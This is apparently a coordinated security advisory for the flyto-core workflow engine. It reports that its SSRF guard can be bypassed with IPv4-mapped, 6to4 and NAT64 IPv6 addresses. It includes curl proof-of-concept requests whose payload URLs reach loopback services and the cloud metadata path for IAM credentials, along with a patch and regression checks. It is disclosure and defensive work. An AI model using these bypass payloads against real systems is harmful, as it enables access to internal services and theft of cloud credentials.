Summary "flyto-core"'s SSRF protection ("validate_url_ssrf" / "is_private_ip" in "src/core/utils.py") blocks private and metadata destinations by resolving the host and testing the resulting IP for membership in a hardcoded "PRIVATE_IP_RANGES" list. That list contains only the native RFC 1918 / loopback / link-local / unique-local ranges. It does not account for IPv6 transition address forms that embed an IPv4 (or loopback) target: - IPv4-mapped "::ffff:a.b.c.d" - IPv4-compatible "::a.b.c.d" - 6to4 "2002::/16" - NAT64 well-known prefix "64:ff9b::/96" and local-use "64:ff9b:1::/48" A workflow author can submit a URL with a literal transition-form host (for example "http://[::ffff:127.0.0.1]:8080/..." or "http://[64:ff9b::a9fe:a9fe]/latest/meta-data/"). "is_private_ip()" returns "False" for these (the address is not literally inside any listed range), so "validate_url_ssrf" lets the request through, and the "http.get" atomic module (and ~10 sibling modules that share the same guard) performs the outbound "aiohttp" fetch and returns the response body. On a host that uses NAT64/6to4 these addresses route to the embedded IPv4 endpoint (e.g. the cloud instance-metadata service "169.254.169.254"); on any dual-stack host the IPv4-mapped form is routed by the kernel directly to the embedded IPv4, including loopback and RFC 1918 internal services. This is CWE-918 (Server-Side Request Forgery): the guard that exists specifically to keep workflow-authored URLs away from internal/metadata endpoints is bypassable, and the response body is returned to the caller (a read SSRF). Affected code "src/core/utils.py": - "PRIVATE_IP_RANGES" (around L297) — lists native ranges only; no "64:ff9b::/96", no "2002::/16", no "::ffff:0:0/96", no "::/96". - "is_private_ip(ip_str)" (around L337) — "ipaddress.ip_address(ip_str)" then membership test against "PRIVATE_IP_RANGES". Because the test is plain network membership (not "is_global"/"is_private" predicates), it does not unwrap transition forms, so even "::ffff:127.0.0.1" — which "ipaddress" itself classifies "is_private == True" — is not caught here. - "validate_url_ssrf" (around L358) — resolves via "socket.getaddrinfo(hostname, None, AF_UNSPEC)" and rejects only when "is_private_ip(ip)" is "True". - "validate_url_with_env_config(url)" (around L496) — the wrapper actually invoked by the modules. Trust boundary in "src/core/modules/atomic/http/get.py": - L93 "url = params.get('url')" — workflow parameter, attacker-controlled by the workflow author. - L104 "validate_url_with_env_config(url)" — the guard above. - L116 "async with session.get(url, headers=headers, ssl=ssl_param) as response" — "aiohttp" fetch; the body is returned to the caller. How input reaches the sink (reachability) "params['url']" (L93) is fully attacker-controlled by the workflow author. It reaches the sink with no intervening sanitization other than the SSRF guard itself: L93 read → L104 "validate_url_with_env_config(url)" (the bypassed guard) → L116 "aiohttp" "session.get". The route is "POST /v1/execute" with body "{"module_id":"http.get","params":{"url":...}}" (bearer-token authenticated; the token is the per-instance workflow-author credential), or equivalently an "http.get" node in a workflow YAML. The response body is returned in the "data.body" field, making this a read SSRF. The same guarded-then-fetch pattern is shared by the "http.{request,batch,paginate,session}", "browser.goto", "image.download", "communication.webhook_trigger", "notification.send", "vector.connector" and "llm.chat" atomic modules. Impact A user who can author/execute a workflow (the product's normal untrusted-input surface — reachable over the Execution API "POST /v1/execute" with a module-execute body, or via a workflow YAML node) can drive an authenticated outbound GET to internal-only destinations that the SSRF guard is explicitly meant to block: - Cloud instance-metadata service ("169.254.169.254", "metadata.google.internal") on NAT64/6to4-routed hosts via "http://[64:ff9b::a9fe:a9fe]/...", exposing IAM credentials / instance identity. - Loopback and RFC 1918 internal services on any dual-stack host via the IPv4-mapped form "http://[::ffff:127.0.0.1]:8080/...", "http://[::ffff:10.x.x.x]/...". The response body is returned, so this is a read SSRF (data exfiltration from internal services), not merely a blind request. Auth required = workflow author; this is precisely the input class the guard was written to constrain, and "SECURITY.md" documents the resolved-IP check as a security control, so the bypass is against the project's own stated model. CWE-918. Severity: Medium-High. PoC / Proof of concept End-to-end reproduction (against pinned version) Environment: real "flyto-core" Execution API booted from a clean install of the current default-branch HEAD (commit "4636d9f0dcf220a11cfaa1a63927b79042bfdc5c"), Python 3.12.13, "aiohttp" 3.13.5. No "FLYTO_ALLOW_PRIVATE_NETWORK" / "FLYTO_ALLOWED_HOSTS" / "FLYTO_VSCODE_LOCAL_MODE" set (production defaults). Install and boot the real server: git clone https://github.com/flytohub/flyto-core && cd flyto-core python3.12 -m venv venv && . venv/bin/activate pip install ".[api]" python -m core.api # starts uvicorn on 127.0.0.1:8333; prints token path TOKEN=$(cat ~/.flyto/.api-token-8333) # auto-generated bearer token for /v1/execute Start a sentinel that stands in for an internal-only service (bound to loopback, on an allowed port 8080): sentinel.py — simulates an internal metadata/admin service reachable only from the host from http.server import BaseHTTPRequestHandler, HTTPServer SENTINEL = "FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN" class H(BaseHTTPRequestHandler): def do_GET(self): body = f"{SENTINEL} path={self.path} from={self.client_address[0]}".encode() self.send_response(200); self.send_header("Content-Type","text/plain") self.send_header("Content-Length",str(len(body))); self.end_headers(); self.wfile.write(body) def log_message(self,*a): pass HTTPServer(("127.0.0.1", 8080), H).serve_forever() Run "python sentinel.py" in a second terminal. Negative control 1 — raw loopback literal is correctly blocked $ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{"module_id":"http.get","params":{"url":"http://127.0.0.1:8080/latest/meta-data/"}}' {"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] Hostname blocked: 127.0.0.1","browser_session":null,"duration_ms":6010} Negative control 2 — raw IMDS literal is correctly blocked $ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{"module_id":"http.get","params":{"url":"http://169.254.169.254/latest/meta-data/"}}' {"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] Hostname blocked: 169.254.169.254","browser_session":null,"duration_ms":3003} Bypass — IPv4-mapped IPv6 literal reaches the internal sentinel $ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{"module_id":"http.get","params":{"url":"http://[::ffff:127.0.0.1]:8080/latest/meta-data/iam/security-credentials/admin-role"}}' {"ok":true,"data":{"ok":true,"data":{"status":200,"body":"FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN path=/latest/meta-data/iam/security-credentials/admin-role from=127.0.0.1","headers":{"Server":"BaseHTTP/0.6 Python/3.12.13","Date":"Sat, 30 May 2026 08:13:39 GMT","Content-Type":"text/plain","Content-Length":"124"}}},"error":null,"browser_session":null,"duration_ms":1} The sentinel access log confirms the request really arrived from the app: [sentinel] "GET /latest/meta-data/iam/security-credentials/admin-role HTTP/1.1" 200 - The guard passed the transition-form host and the internal sentinel body (including the "FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN" marker) was returned to the caller. Bypass — NAT64 well-known-prefix IMDS vector reaches the SSRF gate On this host there is no NAT64 router, so the connection cannot complete; the point is that the guard does not raise "SSRFError" for the NAT64 form (it proceeds to a network connect that then times out), in contrast to the raw "169.254.169.254" which is blocked at the guard: $ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{"module_id":"http.get","params":{"url":"http://[64:ff9b::a9fe:a9fe]/latest/meta-data/"}}' {"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] ","browser_session":null,"duration_ms":95805} ("64:ff9b::a9fe:a9fe" is the NAT64-WKP encoding of "169.254.169.254". The empty "[NETWORK_ERROR]" is a connect timeout, not the "Hostname blocked" / "URL resolves to private IP" SSRF rejection seen for the raw forms — proving the guard let it through to the network layer. On a NAT64-enabled host the kernel routes this to the cloud metadata endpoint.) Vector liveness on the affected runtime Verified directly against the project's guard logic on Python 3.12.13 (the Dockerfile runtime; "requires-python >= 3.9"). Because the guard uses plain "PRIVATE_IP_RANGES" membership rather than the "is_global"/"is_private" predicates, it is not affected by the CPython CVE-2024-4032 (3.12.4+) reclassification, and all of these bypass the guard on every supported runtime: 64:ff9b::a9fe:a9fe guard_blocks=False (NAT64-WKP -> 169.254.169.254) 64:ff9b::7f00:1 guard_blocks=False (NAT64-WKP -> 127.0.0.1) 2002:7f00:1:: guard_blocks=False (6to4 -> 127.0.0.1) ::ffff:169.254.169.254 guard_blocks=False (IPv4-mapped -> IMDS) ::ffff:127.0.0.1 guard_blocks=False (IPv4-mapped -> loopback) [used in the deployed bypass above] 169.254.169.254 guard_blocks=True (native, correctly blocked) 127.0.0.1 guard_blocks=True (native, correctly blocked) Suggested fix Unwrap any embedded IPv4 from IPv6 transition forms and range-check it as well as the outer address, before the membership test. Re-checking the embedded IPv4 (rather than blanket-blocking the prefix) keeps legitimate public destinations expressed in transition form allowed. def _extract_embedded_ipv4(ip): """IPv4 embedded in an IPv6 transition address (mapped/compat/6to4/NAT64), else None.""" if ip.version != 6: return None if ip.ipv4_mapped is not None: return ip.ipv4_mapped if ip.sixtofour is not None: # 2002::/16 return ip.sixtofour raw = int(ip).to_bytes(16, 'big') if raw[:2] == b'\x00\x64' and (raw[2:4] == b'\xff\x9b' or raw[2:6] == b'\xff\x9b\x00\x01'): return ipaddress.IPv4Address(raw[-4:]) # NAT64 64:ff9b::/96 and 64:ff9b:1::/48 if raw[:12] == bytes(12) and raw[12:] not in (bytes(4), b'\x00\x00\x00\x01'): return ipaddress.IPv4Address(raw[-4:]) # IPv4-compatible ::a.b.c.d (deprecated) return None def is_private_ip(ip_str: str) -> bool: try: ip = ipaddress.ip_address(ip_str) except ValueError: return True candidates = [ip] embedded = _extract_embedded_ipv4(ip) if embedded is not None: candidates.append(embedded) for candidate in candidates: for network in PRIVATE_IP_RANGES: if candidate.version == network.version and candidate in network: return True return False Patched-build verification (same deployed server, fix applied) With the fix applied to the installed "core/utils.py" and the server restarted, the previously-successful bypass is now blocked at the guard, and the NAT64 form is now an "SSRFError" instead of a connect timeout: [::ffff:127.0.0.1]:8080 (was ok:true returning the sentinel; now blocked) {"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] URL resolves to private IP: ::ffff:127.0.0.1 -> ::ffff:127.0.0.1. Use 'allowed_hosts' to enable controlled private access.","duration_ms":5573} [64:ff9b::a9fe:a9fe] (was a 95s connect timeout; now rejected at the SSRF gate) {"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] URL resolves to private IP: 64:ff9b::a9fe:a9fe -> 64:ff9b::a9fe:a9fe. Use 'allowed_hosts' to enable controlled private access.","duration_ms":3003} Public destinations expressed in transition form (e.g. "::ffff:8.8.8.8", "64:ff9b::808:808" = 8.8.8.8) remain allowed by the fix, since the embedded IPv4 is itself public. Fix PR A fix PR with the change above plus regression tests is provided via the advisory's private temporary fork (link added to this advisory). Credit Reported by tonghuaroot. Found by independent source review and confirmed with the deployed end-to-end reproduction above. CWE-918.